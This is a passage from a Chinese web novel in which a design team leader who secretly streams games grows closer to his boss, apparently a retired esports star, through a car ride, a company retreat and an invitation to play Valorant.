郁思白张嘴,本想说“直……职场外的事儿”,但话到嘴边还是觉得有点怪异,好像他俩当着别人的面打哑谜似的。 于是他靠过去,凑进季闻则耳边,用很轻的声音简单说:“薛简,要我回去带梁路直播一下,有人骂他。” 季闻则垂眸听着,听完却一时间没有动静。 郁思白没管他,拿了手机起身。 向日葵们回过神来,纷纷问。 “吃饱了吗?要不打包点回去接着吃。” “需要我们帮忙吗组长。” “没事组长我会照顾好他们,你放心。” 郁思白脸上露出笑,一一回应,伸手拉开椅子。 可椅子在地面划过的声音,却同时从他右手边传来。 季闻则也起身,侧头道:“我跟你一起去吧。” 郁思白:……? 一起去什么,直播吗? 你?!—— 作者有话说:小郁大圣:呔!现出原形!你到底是人是鬼[问号] 第42章 在众向日葵的目送中, 郁思白就这么带着个老板尾巴,先行离席。 在前台用向日葵股份结了账,进到电梯里, 郁思白眉头一蹙,困惑问:“你也要直播?” “找个借口走了而已。”季闻则笑笑, “你走了我留那里, 他们也玩的不会尽兴。” “说的也是。”郁思白松了口气,问,“那你回去加班?” “嗯,加班。”季闻则道,“去你直播间加班。” 郁思白悚然扭头,一双眼睛圆溜溜瞪他。 季闻则一哂:“房管也不能白当啊。” “你也可以当成是自己花钱买来的。”郁思白说。 两人有一搭没一搭地聊着, 下到地库,扑面而来的又是那股古怪的气味。 郁思白一个哆嗦, 连忙侧头, 又一个喷嚏猛地出来,打得他眼泪汪汪。 “真没感冒?”季闻则微微拧眉。 郁思白没抬头看他, 随口应道:“……不会。我身体很好,是牛马的牛。”说完,他又问,“玩游戏之前没说完的事儿……是什么来着?” “二组组长……你真是鱼的记忆?”季闻则好笑。 “被金钱冲昏头脑, 也没办法。”郁思白说着, 又是一个喷嚏, 然后还要勉强道,“二组……” 季闻则哭笑不得:“上车再说吧。” 郁思白乖乖把嘴一闭,目测了一下距离,然后连气都跟着闭了, 一路脚步匆匆,跟着上了季闻则的车。 他往副驾一坐,伸手去拉安全带的时候,才反应过来一件事。 ……自己好像,没跟季闻则说要坐他的车回去呢。 季闻则,也没答应要送自己回去吧! 扯安全带的手顿住,他就这么保持着侧着身的姿势,扭头往驾驶座偷看。 季闻则咔哒一声系好安全带,头顶长眼睛似的,一抬眼,就正正捕捉到他的视线。 看了两秒,他忽地莞尔,显然是知道他在想什么,笑说:“给你拉走卖了,是不是还会帮我数钱?” 季闻则不尴尬,郁思白当然也不觉得尴尬,索性大大方方坐好了,还调了调靠背,随口哼道。 “数啊,数一张我偷一张。” 季闻则失笑,挂挡起步,在一阵平缓的加速中说:“那不卖了,自留。” 然而郁思白完全已经左耳进右耳出了,这车刚一起步,他就忍不住在心里咋舌。 果然什么东西都是一分价钱一分货。七位数的车,确实和自己十万的卡神痛车不一样,底盘比普通轿车高些,不光视野好,空间大,坐着也舒服,就连皮子都很软。 车开出地库,他降下一点窗户,被夜风兜头吹了个哆嗦。 “怎么突然这么冷?!”他惊道。明明下午还是艳阳高照,恨不得把人热死。 “今晚有雨。”季闻则说。 听见这话,郁思白突然一愣,低头看了眼自己单薄的衬衫,抽抽嘴角:“……糟,风衣落江勘车上了。” 车速明显缓了些,季闻则侧头问他:“要回去拿么?” 郁思白看了眼时间,想想道:“算了,怕来不及。” “穿我的?”季闻则说。 “你的……你衣服太贵了,弄脏了不合适。”郁思白含糊拒绝,“也不算很冷,跑回去就行了。” 开玩笑,季闻则那衣服穿在他自个身上,都是快到脚踝的超级长款,自己拿来干什么,自取其辱吗。 季闻则不知为何轻笑了声,倒也没再坚持。 “继续说工作的事。”郁思白言归正传道,“二组那边,你是想从外面找人吗?” 季闻则点头,不绕弯子:“对,下午收到一份简历,于丘洋的。” 郁思白有点茫然:“……谁啊。” 季闻则原本有点诧异,忽然又反应过来,轻笑道:“总跟你搭话那个,年轻的地中海。” “哦哦!”郁思白恍然,“他叫于丘洋啊。这名字,也挺……” “嗯……” 季闻则显然也懂了他的笑点,闷笑着附和。 也挺地中海的,噗。 郁思白在心里笃笃敲了好几下木鱼。 笑过后季闻则问:“你的建议是?” “他很厉害的,是真的天马行空的那种鬼才……唔,就是有点担心你俩处不来。”郁思白说,“在他眼里,我在老板面前就是个特给老板面子的软包子,老被欺负的那种。你懂我意思吧。” 季闻则目光肃然起敬,认真想了片刻说:“不过应该不用担心这个,他说,我是郁氏严选,他肯定会交付信任。” 郁思白:? “虽然你确实值得信任,但。”他掌心朝上,一伸手道。 “给我介绍费。” “多少钱?”季闻则笑问,倒也没说不给。 “不要钱。”郁思白严肃,“我已经当够财迷了,我现在要走贫贱不能移的人设。” “比如不收贿赂吗?” 刚刚才收了的郁思白一哽,硬着头皮:“……对。怎么了。” 季闻则笑了声,在红灯前停车,反手按开手刹后的零食盒,抓了一把出来,两颗糖就这么轻轻被放在郁思白掌心。 郁思白捏起来看。上面是不认识的字体,看起来确实价格不菲,是没吃过的东西。 还没等他开口表示满意,季闻则却先说。 “手边只有这个了,一块代表一个要求,随时可以找我兑换,怎么样?” 郁思白一眨眼,糖被抛到空中又接住,目光一转。 “给我一百万?”他说。 季闻则肃然:“贫贱不能移。” 郁思白噗地笑了,直接拆了一块丢进嘴里,恰到好处的清甜味道顿时充斥味蕾。 他顺手把糖纸捋平,又像晒被子一样铺到前挡下面的平台,一下下让褶皱舒展开。 季闻则看了一眼,忽然开口:“如果我现在告诉你,糖纸不算数呢?” “那就不算呗。”郁思白哼了声,专注推他的糖纸,无所谓道,“一个就行了,人不能太贪心的。” 怔忪两秒,面前的信号灯变绿,季闻则起步慢了半拍。 “好吃吗?”他问。 “不错不错。”郁思白点头,“巧克力脆皮,加水果夹心奶糖,也不会齁甜……有链接吗?” “人肉背回来的。”季闻则说。 郁思白看了眼零食盒,遗憾道:“我还以为你会让我喜欢再拿。” “空的,最后两颗,已经全都给你了。”季闻则说着,借着看右侧后视镜的机会,看了他一眼,轻笑。 “不然你回去自己捏造货币怎么办?” 郁思白一哑,忍下吐槽的冲动,认可道:“……你担心的确实也有道理。” 一颗糖下肚,他看了眼导航,见时间还久,便问:“我打个电话,会影响你吗?” 季闻则让他随意,什么都没问。 郁思白倒是一边翻动手机,一边嘟囔着全说了。 “得给梁路——哦,就是之前在KTV,一起把我送下楼的那个小孩。给他打个电话,安慰安慰,吃个定心丸给他。毕竟,哎,我也算是半个过来人……” 他有心分享,季闻则也就顺着问:“哪方面的过来人?” 郁思白清了清嗓子,一抬下巴:“你听着就行,看我发挥。” 电话很快接通,郁思白没开外放,因此,季闻则便只能听见他的声音。 不过也正合他意。 郁思白刚刚清过嗓子后,声音果然和平时显得很不一样,或许也和语气有关系,总之,现在的他,听起来像一个知心大哥哥。 “梁路,你听我说,真的不要给那些骂你的人太多眼神。你越在意,他们就越开心。” “他们骂的对?对在哪。你是故意要打不好的吗?是比赛前做了什么事导致状态不佳吗?不是的呀。” “只是因为对面的战术原因,他们知道你厉害,所以故意针对你而已,对不对?” “卡神说过,如果别人因为你的强大而讨厌你,那么你最好真的有这个实力。所以你现在要做的是什么——” 季闻则神色细微地来回变换,终于忍不住,轻声开口道:“不是这么说的,而且这只是网络用……” 郁思白的手机放在左手边,专注当着知心大哥哥,显然,压根没听见他苍白的辩解,眉眼一弯,笑道。 “对的,你要好好努力,开开心心地直播,生活,工作,赚钱……你才18岁,未来还长呢。” 末了,他又说:“哦,这句也是卡神说的。” 对向车道突然亮起远光灯,季闻则被刺得眯了下眼,心道。 又是我吗。 他渐渐意识到,“Execut2”在郁思白这里,似乎扮演着“鲁迅说过”的角色。 只可惜,鲁迅没法跳出来大喊“我没说过”,而Execut2…… 今天郁思白的试探很明显,季闻则也知道,纸包不住火。 握住方向盘的手紧了紧,他无声叹了口气,收拢注意力,告诉自己,至少不要在开车的时候分心。 当然,偶尔听两句副驾和别的年轻选手打电话的声音……这个不算。 郁思白给梁路打完鸡血,大约是梁路缠着问,本来要挂电话了,却又谈起自己以前直播的事情。 梁路大概是问了一句“小白哥你那边方便说话吗”。 郁思白看了眼认真开车的老板,说:“没事,没有外人。” …… 这一讲,就直接讲到了车子在郁思白小区附近停下。郁思白原本要急匆匆下车,却被季闻则拦了一下,道:“时间不急,打完再出去,不安全。” 郁思白不是能多线程工作的类型,此刻在跟梁路说话,便没有大脑来处理季闻则的话里有什么逻辑毛病,“哦”了一声,乖乖窝回软皮的椅子。 季闻则开了座椅加热和按摩,打电话的主播更是被伺候得乐不思蜀了,甚至打了个哈欠,像上房揭瓦后,被一顺毛就慵懒下来的猫。 季闻则在车里用很轻的声音放了首同样慵懒的音乐,平板往方向盘上一挂,一边工作,一边听郁大主播讲故事。 半晌他不由得轻笑。 当年那个小孩,也开始用自己的过往为养料,去哺育别人了啊。 郁思白终于挂掉电话的时候,一扭头,正要跟老板挥手作别,撞上他的视线,却起了一层薄薄的鸡皮疙瘩。 “……你,你能不能别用那种眼神看我。”他有点头皮发麻,神情复杂道。 季闻则看不见自己,却也心里有鬼,下意识收敛表情,问:“什么眼神?” 目光古怪地思忖片刻,郁思白抬手比划着形容。 “就跟看见自己花盆发芽了一样,那种充满父爱的眼神。” 季闻则笑意一僵。 自己刚刚到底在担心什么。 ……父爱吗。哈。 那还真是父爱如山体滑坡,先把他自己埋了半截。 闭了下眼睛,季闻则抬手挥了挥:“走……等下。” 他难得也觉得头脑发晕了,侧过身,伸手从后排纸袋里拿了件夹克,放到郁思白腿上。 “披上点。下午刚从洗衣店取回来的,你穿着吧,得空送到这个店就行,公司楼下就有连锁。报我的手机号,有卡。” 夹克有点分量,落在郁思白腿上,让他愣了一下,因此也失去了第一时间就礼貌拒绝的机会。 他忽然感觉到发顶被不轻不重地拨弄了一下,抬眼,看见季闻则悄摸着收回的手。 “回神了,大主播。”他语气如常地说,“再不走来不及了,我还等着回去上班呢,嗯?” 他坦坦荡荡的的样子好像天然就有着说服力,郁思白挥去一闪而过的触电感,索性不再推辞,披了夹克下车。 “谢谢啦季老板。”他弯了弯眼睛,沿着车灯照亮的路,一路小跑着进了小区。 到拐弯时,他下意识扭头看了一眼,抬手朝那两盏月亮一样、又圆又亮的车灯挥手作别,然后头也不回地消失在岔路口- 场馆项目的合同在第三天就送到了庭季,郁思白签下之后,整个一组——不,整个【没想好独立设计团队】,都进入了这两年以来,最最繁忙的时期。 誉衡别苑和嘉年华两个重量级项目齐头并进,誉衡别苑相当于正统太子爷,嘉年华场馆则是皇帝流落在外的天才皇子,真是哪个也怠慢不得。 加上其他之前接下来的散单,一组这台向日葵机器全速运转,除了周末,办公室里的灯每天都亮到至少十一点。 幸而誉衡别苑那边的落地施工不需要紧盯,对面起初还总因为一些鸡毛蒜皮的预算问题掰扯,但季闻则亲自去沟通过后,对面再也没提过这事儿了。 半个多月后,场馆项目的方案终于确定下来,也进入施工落地的环节,一组每周都要派几个人去渝市出差盯进度,人手一少,压力就更是山一般落下来。 ——主要还是落了到郁思白的肩膀上,他是组长,又没家室,常驻外地的工作他自然当仁不让。 除了刚毕业在设计院的日子,郁思白再也没有这么连轴转地忙过。 ……虽然,他好像一共也没工作很多年。 想到这儿,郁思白觉得自己更是天生牛马,才在庭季学会混加班费,没享受两年,就又开始忙得脚不沾地。 但忙归忙,誉衡别苑钱多,场馆项目成就感强,搭配一下干活完全不累—— 是不可能的,心不累而已。 场馆太大,一天暴走三万步都是常有的事,回到宾馆,十天有九天是倒头就睡。 就连直播那边,他也直接提前请了一个月的假,为此,还专门向薛简表达了深深的歉意。 之前明明是自己找人家帮忙,作为交换签了合同,结果满打满算,都没给人家好好干几天。 薛简发来一个哈哈大笑的表情包——卡兔款,说是在Respit2的微博超话,淘了个大全套。 【薛简:我说白了,跟你签这个合同完全就是先占个坑,免得你什么时候,肥水流了外人田,不要咱们ICG了】 【薛简:这点小事儿就别在意了。前两天老季还找我解释了一次,说你忙得一个月都没给他发消息了。我跟他说咱俩谁跟谁,轮得到他插嘴,哼哼。】 【勾肩搭背.jpg】 打着哈欠跟薛简互甩了一会儿表情包,郁思白刚要锁屏,忽然瞥见刚刚被自己忽略的话。 【忙得一个多月都没给他发消息了。】 郁思白眼底的困意变成困惑。 他截了张图,切出去——薛简下面那个对话框就是季闻则,最新消息分明就是今天上午才发的! 他理直气壮冲进去,有点心虚地把截图删了。 【季总,材料收到了,有要报损的天骄稍后在系统里报。谢谢季总催总部那边!】 【季闻则:1】 【季闻则:新一批也给你们加急了,定制工序复杂,有点小麻烦。但一周内能到,让人注意跟进。】 【收到】 ……是有些轻微的班味儿,但忙,都忙,忙点儿好啊。 郁思白把自己塞进被窝,像只皮厚馅少的饺子,在渝市越来越热的空气里滚了滚。 他往回翻着聊天记录,发现最开始,是自己先说了一次工作上的事。 这章原本可以放在公司内部软件里沟通的话,就这么在微信延续了下来,谁也没提换地方的事儿。 想到薛简的话,郁思白还是开始打字。 【要是微信也有续火苗就好了,这样显得在微信聊工作的咱俩不那么像_】 他打了个【弱智】出来,品了品,删掉,又换上别的词,却总觉得不合适。 换着换着,他视线扫过上面一串严肃的工作话题,指尖悬停,心里忽然生出了“算了,发这个好像不太合适”的想法。 郁思白不自觉地扣了扣手机壳上的凸起,犹豫半晌,最后还是刷刷把工作无关的内容删了个干净。 挠挠头,他带着自己都摸不清的疑惑情绪,把自己埋进被窝。 睡着之前他忽然想到,啊,最近自己忙到一点私人时间都没有,连卡神都很久没聊过天了…… 于是当晚,他就做了一个Execut2来参加嘉年华的梦。 第二天起床,又是神采奕奕干劲十足、等待被榨干的好鱼一条!- 日子就这么昏着头地过,直到场馆搭建马上临近收尾,郁思白在渝市接到了来自总助杨孟越的电话。 “郁组长,好消息。新的二组组长明天就到岗了,说会帮一组一起分担工作……” 新的劳力终于虽迟但,郁思白眼睛刷地亮了:“于丘洋吗?” 他再也不会忘记于设的名字了。 “对的。”杨孟越说,“季总还问,在渝市的小伙伴们哪天有时间,抽一天,去粤市海边团建一下,给于设接风。” “粤市?”郁思白顿了下,瞬间了然,“季闻……季总想去收购邓工的公司?” 杨孟越笑了笑:“郁组长,要说了解季总,现在整个公司,真是舍您其谁了。” 郁思白被她捧得晕乎,也笑了声,顺着就答应下来:“行,那就去给他撑这个场子。” 因为季闻则确实有公事在身,最后众人把时间定在周五,带薪度假,顺便连上了周六日,好叫不那么忙的人,还能多玩几天。 一组其余两个驻扎渝市的组员,周四晚就坐飞机先回了沪市,郁思白独自又加了一晚上的班,周五一早,踩着晨曦登上航班,追着朝阳在粤市落地。 高向日一行人昨晚就到了粤市,原本说要来给他接机,被郁思白拒了。 大家这段时间都没少忙,睡得也是一个比一个晚,好不容易出去度假,上午十点多才有第一项活动——早茶送到房间门口,还有什么起的必要。 众人一琢磨,觉得有理。 大家认识这么多年,也不是需要客套的关系,于是都听了郁思白的话,但还是给他把位置和交通路线都列的明明白白发了过去。 睡得晚起得早,郁思白在转盘提了行李后就往外走,一边留意着路牌,一边打了个哈欠。 眼泪瞬间糊了满眼,整个世界都模糊了起来,幸好路牌字号够大,他顺着走了两步,眨着眼睛,让视线慢悠悠变得清晰起来。 忽然,他目光一顿,愣愣看向八、九米之外的另一个行李转盘。 那里站了个人,穿着他有些眼熟的夹克,身形轮廓也熟悉,可就是看不清那张脸。 郁思白也顾不得摸过行李箱后有没有细菌,匆忙抬手,手背蹭掉了眼眶里的钉子户眼泪。 然后清清楚楚地看见了那张含笑的脸。 咦……? 郁思白站在原地眨了眨眼。 是野生季闻则! 算下来,他好像也就上周回公司的时候,草草跟季闻则擦肩而过了一次,面对面讲话更是很久前的事了。 这会儿突然再见,还莫名觉得有点生疏。 郁思白攥了攥行李箱的把手,本来想笑一下,但又怕只能笑出来一半,变成嘲讽的冷笑,那多尴尬。 于是他拉着箱子,手里还拎着从渝市给向日葵们带的冷吃兔,面色一如往常,但快步走了过去。 一边走,一边琢磨着,一会儿说句什么好呢。 季闻则上前迎了几步,朝他伸手。 郁思白看了看他空空的双手,虽然疑惑这人怎么一点行李都不带,但思忖片刻,了然地把手里的一大袋冷吃兔递了过去,不大好意思道。 “是向日他们求我带的,他们嘴馋……” 他一走进,季闻则就先看见那双原本明亮的眼睛,此刻却塞满了遮不住的疲惫,眼底还有两抹淡淡的青黑,就这么没什么表情地朝他走过来,像只游荡的小鬼。 他忽然觉得,郁思白是不是瘦了一些。 冷吃兔的袋子被季闻则接过,没等郁思白松手,袋子忽然被用力拉了一下。 郁思白指尖还勾着袋子,顺着力道懵然前倾,季闻则上前一步,把他连带兔子,一起抱了个满怀。 “辛苦了,郁组长。”季闻则说,像是叹了口气。 郁思白眨了眨眼,忽然笑开,一对梨涡躲在季闻则看不见的地方,像过年时候,见了熟人又偏要藏起来的小孩。 “为人民服务。”他乱七八糟地说,“微信没有火花续,季老板,你知不知道?”—— 作者有话说:[猫爪] 第43章 郁思白还是惯常那股带点冷淡的声线, 但声音不大,话又说得黏黏糊糊,一句话像一块敲门砖似的, 就朝季闻则丢了过来。 “真好。”郁思白说。 季闻则心跳陡然重了一下,片刻才找回自己的声音。 “你……” 下一秒, 他后背就传来重重的三下敲击。 咚!咚!咚! 郁思白像哥俩好的大猩猩一样, 给了他三记重拳,继续在他耳边胡言乱语。 “还是你的办法有用!” 季闻则心跳放缓,神情染上困惑。 郁思白又锤了一下,说:“下次要用外国礼节可以提前说一声吗?我还以为你要抢我的兔。” 季闻则心如止水。 后背被锤上第五下的时候,他咳了一声,把人松开。 郁思白只觉得再见面的那点生疏, 全被这个拥抱化解了,眉眼弯弯, 竖了个大拇指:“我差点都不知道要跟你说什么了, 好抱,我重新取回了我说话的力量。” “是吗。”季闻则看着他, 笑了一下,心道。 好了,这下是我的力量被封印了。 他从郁思白手里接过行李箱,郁思白自己拎着宝贝冷吃兔, 张嘴就是聊:“之前毕业和我璞宝——喔, 就是pupu, 我那个职业选手朋友。和他有一年没见面,后来我来沪市他给我接机,我俩还都有点尴尬,特礼貌地你来我往了好一会儿, 坐下来聊了几句才重新学会了损人……” 季闻则笑笑。 驻扎渝市的这段时间,郁思白每天工作,直播都没做,这张嘴大概是真的憋狠了,话题天马行空,好像要把一个月的闲话全一股脑倒给他似的。 他当然乐意听。 “你怎么穿这个,不热吗?”很快,郁思白的话题又跳到季闻则的穿搭上。 “粤市今天35度,你查了吗。” 季闻则今天穿的是先前借给他的那件夹克,郁思白也是今天才发现,这衣服竟然是偏短款的,穿在季闻则身上,更显得他身高腿长,宽肩窄腰,很是吸引目光。 但郁思白觉得,其中有一半人都只是好奇“这人怎么大热天穿这么多”。 “沪市昨晚下雨了,上午冷,出门前就加了一件。”季闻则把夹克脱了挂到胳膊上,又问,“吃早饭了吗?” “没,他们说早上第一个活动就是早茶送到房间,我就没吃。”郁思白说。 季闻则轻笑:“那正好,我们去吃现成的。” 郁思白犹豫了一下:“行李也拎着走吗?” “有人送回去。”季闻则说着,两人走到停车场,果真有人早等在这。司机把行李放进后备箱,先把他们送到住处附近的早茶店,然后开车回去安顿了行李。 郁思白不由得咋舌,迟疑了一下问:“我们定的,不是轰趴馆吗?” 这个车的价格,还有这个服务质量……是不是有点太华丽了? “去了就知道了。”季闻则笑了一下道,“先吃饭……你在渝市怎么还把自己吃瘦了?” 郁思白夹了只虾饺,叹气:“哪是吃瘦的,完全是被逼运动,每天步数两万起步上不封顶……我肚子都硬了。” “走出腹肌了?”季闻则问。 “唔……”郁思白伸出一个指头,腼腆,“一块较为平坦的薄肌。” 季闻则忍笑:“……加油,早日一分为二。” 郁思白肃然摆手:“我对腹肌没兴趣。” 季闻则眉眼略微动了动,提了口气,像是想说什么,最后自己咽了下去。 “后天你有安排吗?”季闻则问。 “没有吧。”郁思白想了想,“怎么了吗?” “后天有个饭局,看你方不方便和我一起去。”他说,“是总部那边的人。” 郁思白一愣:“这么高级别?我能去?” 季闻则笑了一下:“有什么不能。”末了他又说,“老规矩,不用你喝酒。” “倒是没什么。”郁思白没太在意,“你又不会把我丢在那。” “本来是安排在明天的,但薛简说,你明天有事。”季闻则道。 “明天?什么事啊。” 季闻则没想到他连这个都忘了,疑惑道:“他说是你生日?要安排生日直播。” “哦哦!”郁思白这才恍然,不好意思地笑,“确实忘了……签了公会就是不一样,什么都不用自己管了,只出人就行,嘿嘿。” “提前祝你生日快乐。”季闻则举起茶杯跟他一碰。 郁思白弯着眼睛:“客气客气,薛老板好像准备了不少抽奖的东西,明天你也去我直播间薅他羊毛呀。”- 一顿早茶吃的还算舒服,偏清淡口,虽然不怎么合郁思白的口味。 毕竟还是渝市长大的小孩,虽然谈不上无辣不欢,但太清淡的他也吃不惯。 除了最爱的桂花凉糕,那是甜点,不算。 两人刚吃完早茶从店里出来,郁思白震惊地发现,来接他们回轰趴馆的车又换了一辆,司机也换了个人。 “这、这配了几辆车啊?”他戳了一下季闻则袖子。 季闻则想了一下:“不算观光车,三五辆?” 郁思白:? 来之前郁思白还在想,也不知道是谁定的行程,一组二组加起来这么多人,轰趴馆怎么塞得下。 到了地方才发现,有限的金钱还是限制了他的想象。 他印象里的轰趴馆,最大的也就是个别墅而已,上下四层都算体面了,小一点的,更是只有一个复式小楼。 可面前这个……明明是庄园吧?? 一组做高端项目不少,这种占地面积的庄园也做过一次,但人家那是顶级富豪自住的宅子,别人别说是参观游览,就是做客都得有顶大的面子。 哪有人用这么大、位置还这么好的庄园开轰趴馆的? 简单在册子上看了眼庄园布局,郁思白第一反应,就是抬头看向全场最符合富豪人设的季闻则。 “季老板。” “嗯?” “你下一句话该不会是告诉我,这是你的房子吧?” “……” 季闻则不由得笑出来:“虽然很高兴,但你也太看得起我了。” 郁思白松了口气,然后此人又补一句。 “但全场的消费由季公子买单。 郁思白呛咳出声。 “是我家里人的。”季闻则笑了下,帮他拍背,“当年就是因为装修这个房子弄得很不满意,才决定在庭季旗下自己成立一个室内设计公司。” “那这里……?” “现在专门用作庭季内部度假疗养了。”季闻则笑笑。 “为什么我以前没听说过。”郁思白不由得咬牙。 季闻则迟疑两秒,还是不太忍心地道:“因为,来这里除了层层审批以外,还需要总负责人自掏腰包负责日常开销。钱远新嘛……” 钱远新出了名的铁公鸡,敛财狂,只进不出老貔貅。 郁思白只觉得拳头硬硬,但旋即又想。 算了,哪怕钱远新在的时候真的有这种活动,他都不可能来参加的,想都不用想,肯定是换个地方应酬而已…… “下午我们去哪?”他问。 “海边。”季闻则说,“坐观光车过去,两分钟就到,是这片楼盘自己圈起来的沙滩,人很少。要游泳吗?” “不会。”郁思白果断拒绝,“但踩水还是要的。” 哪曾想,下午他穿着短裤到了沙滩,躺椅一撑,遮阳伞一打,他原本只是说躺上去试试,结果眼睛一闭,下一秒就不省人事了。 再睁眼,天色都已经暗下来,身上不知什么时候搭了一条毛巾被。 午觉一旦睡了超过一个小时,再醒来,人就会有一种变成傻子的呆滞感,更别说郁思白直接睡了至少三四个小时。 ……啊。 难得的一天度假生活,就,这样被睡过去了吗。 郁思白懵懵地睁眼,看着被遮阳伞斜遮住半边的天空,裹了裹身上的毛巾被,咕噜翻了个身,侧躺着看向不远处的人群。 聊天声被风送到他耳边,有聊孩子的,有聊时政的,有聊娱乐圈的…… 郁思白抬手,手动闭上耳朵。 算了,融不进去,睡觉是对的。 他倒是想现在起来再去碰碰水,只是现在的气温和海水都已经开始凉了,再踩也不舒服。 于是他就这么顺从了自己的懒散。 “快吃饭了……去叫……组长……” 人群乌泱泱地靠了过来,准备喊人的高向日一探头,就跟醒过来的郁思白大眼瞪小眼。 “你醒了啊组长?”高向日愣。 被这么多人盯着,郁思白只得拥着毛巾被坐起来,随口问:“之前怎么不叫我。” 话音刚落,他就听见隐约传来的吸气声,顺着看过去,发现是有些陌生的面孔。 是于丘洋带来的几人,也和他一起并入二组。 见郁思白上来就冷着脸质询,那几个新人都是一惊,彼此交换视线,心里紧张又兴奋。 早听说庭季这位郁组长人冷脾气大,难道他们刚来第一天就要见到了吗? 他们彼此看来看去的时候,一组众人也眉来眼去了一番,然后齐刷刷伸手,指向坠在人群后、正和于丘洋说话的季闻则。 “他。” “有人不让我们叫。” “没错。” 郁思白眯了眯眼,季闻则也闻声回头,在一组向日葵们的千夫所指下,往这边走来。 那几个新人顿时又睁大眼睛,一阵激烈的眼神交互,又想。 这个一组凝聚力这么强,齐刷刷针对老板……当老板的能受得了? 果然,老板走进后轻轻挑了下嘴角,说:“嗯,是我。” 完全一副居高临下、要掌控全局的模样。 坐在沙滩椅上的“郁·著名冷面阎王·前钱总心头大患·组长”见他过来,扬起手—— 什么,要打人吗。 众新人再次后退半步。 然而下一秒,就看见走过来的老板脸笑意更深,那个笑和跟他们讲话时似乎不太一样,但哪里不一样,又说不上来。 季闻则伸手,拉着他手腕把人拎起来,另一只尤有余力地接住了滑落的毛巾被。 “没事。”他说,“休息重要,又不是以后没机会来了。” 郁思白半信半疑:“下次还来?” “可以。”季闻则说罢,看了眼其他人道,“但是也要看大家的意见。” 大家的意见? 又不用自己出钱,又不强制参与,又不占休息日……大家的意见是喜欢!多来! 高向日立刻带头应声:“肯定要来啊!” “这次根本不够!” “这么豪华的庄园怎么来一天就算了啊!” …… 一行人热热闹闹打道回府,在庄园主楼的宴会厅里吃了晚饭。 晚饭是自助,天南海北哪里的餐食都有,所有人都吃得心满意足。 杨孟越说:“前年我在总部的时候,季总那会儿还是季总监,我们部门年底评了个优先,来过一次……这次的伙食比上次好。” 郁思白不语,只是一味食用桂花凉糕。 晚饭过后就是自由活动时间,郁思白上楼换了身衣服,正准备去海边散步消食,才走到前院花园,就迎面看到小穆。 小穆一脸兴奋,看到他之后眼前一亮,显然是在找他。 “怎么了?”郁思白问。 小穆两只手握在一起,搓了搓,期待又好奇地问。 “组长,你是不是也玩无畏契约呀?” 郁思白被这话说得愣了一下,看向他,眼底带着询问的意思。 嘿嘿一笑,小穆小声道:“其实我看得出来!组长你对游戏的了解,绝对不是只查资料就能有的……很多东西胡啸都不知道呢!” “……对。”郁思白半真半假地说,“我是比胡啸还大的主播。” 小穆哈哈大笑:“组长!你也有冷笑话基因了!” 郁思白抬了抬唇角,但笑不语。 “那组长等下要不要和我们一起玩游戏呀?”小穆眼睛亮亮地问,“我,江勘,天骄,还差两个人就能五排了,组长来吗?我带你!” “向日不来?”郁思白下意识问。 小穆顿时露出诧异的神情,说:“杨姐在,他跟我们打游戏干嘛啊?早都去海边过二人世界了。” 郁思白恍然。 “组长你没谈过恋爱吗?”小穆直线条地问。 郁思白:…… “嗯。”他硬着头皮强装冷静。 小穆磕巴了一下,强行夸道:“那、那很清纯了。” 郁思白扯起嘴角,冷笑吓得小穆顿时瑟瑟,重新给嘴巴按了个脑子,认真邀请。 “组长,来嘛?” 郁思白犹豫了。 按他以前的作风……毫无疑问,肯定是否认并拒绝的,哪怕他真的有一个多月没打过游戏了,现在有被诱惑到,但一切事情,都还是以保护马甲为上。 可现在,郁思白忽然发现,自己闪过的第一个念头竟然是“也没关系吧”。 就像马甲被季闻则知道了之后,好像也没关系呀。 心里莫名生出些安心感,阻碍没那么强之后,心里想打游戏的冲动,渐渐的再也抑制不住。 “好。”他点头,“我来。” “耶!!” 小穆顿时兴奋得一蹦三尺高,什么害不害怕的,全被“哇塞组长也打游戏”的消息冲散,一拽他的胳膊,就往娱乐楼走。 “还有一个人,叫谁?”郁思白问。 “啊……这个。”小穆挠挠头,实在有点发愁,勉强说,“我准备再去二组那边问一圈,实在不行的话,再问问我大学室友什么的……没事!大不了我们四排嘛。” 但四排的话,队里匹配进来的野人不确定性就很强了,如果是个素质差的,容易搞得大家游戏体验都不好。 郁思白想了一下,说:“我也问问吧。” 小穆点头:“好呀好呀,段位哪怕黑铁都没关系的,反正我们娱乐局嘛。” 娱乐楼的一楼就有一整排电脑,网吧似的,一共八个位置,武天骄和江勘已经坐在那了,见小穆拉着郁思白进来,都是一惊。 “未来果然属于年轻人。”武天骄感叹。 郁思白在角落的沙发坐下,低头翻着自己微信的好友列表。 账号的事没关系,他自己有小号,手上也有pupu和梁路的小号,再不济,还能从ICG那边要一个试训用的乱码号,怎么都有解决方案。 此刻他的目光落在对话框的置顶头像上,那只看起来傻傻的丑狗和他隔着屏幕对视,好像在说“来找我玩儿啊~”。 郁思白握了握拳,下定决心点开。 【卡神,有空玩游戏吗?乖巧.jpg】 他心脏砰砰跳,但为了不让期望越大失望越大,还是在心里告诉自己:如果卡神不来的话,他还可以去叫pupu或者梁路,再不然,ICG其他人也可以,反正他人脉很多。 一个红点冒出来。郁思白啪地点开。 【Execut2:我很久不玩了】 【Execut2:上班以后,工作太忙】 郁思白缓缓低头,把脑门磕到了屏幕上,无声叹气,然后给卡神回复了一个可可爱爱的表情包,说没事的,那我找别人就好! 他惊讶地发现,真被拒绝了之后,其实心里也没什么遗憾的,更多的反而是复杂。 Execut2伤退、人间蒸发之后,他欧服和国服的账号全部都没再登陆过,但大家普遍的猜测,都是人家换了个小号玩,没人想过“Execut2真的一点游戏都不碰了”这个可能性。 郁思白勉强能想象得出Execut2工作的样子,但Execut2不打游戏,他是一丁点都想象不出。 在卡神这个人身上,所有人都能清楚地看到七个大字——不打游戏吾宁死。 所以到底是为什么呢?郁思白忍不住想,却也只能强忍下内心的好奇。 毕竟这事儿,他不太敢、也没立场开口去问。 把这个小小的插曲抛到脑后,郁思白拨弄着联系人列表,开始思考,是先问pupu还是先问梁路。 最后,决定群发一下。 季闻则就是在这个时候推门走进来的。 一进门,就看见郁思白有些失落地坐在沙发上,怏怏垂头看着手机,翻找的动作似乎很是茫然。 他脚步一顿。 小穆发现了他的到来,礼貌地打招呼:“季老板好!您也来玩吗?” “我去二楼台球室。”季闻则说着,目光却又看了一眼郁思白。 屋里其他两人都扭头看向他,只有郁思白还是低着头,仿佛一点也听不到外界的声音一样。 季闻则想要抬脚,却忽然觉得脚步有千钧重。 武天骄看着这边,目光一转,忽然说:“季老板,要和我们一起打游戏吗?” 江勘顿时用一种很惊恐、但看女侠的目光看着她。 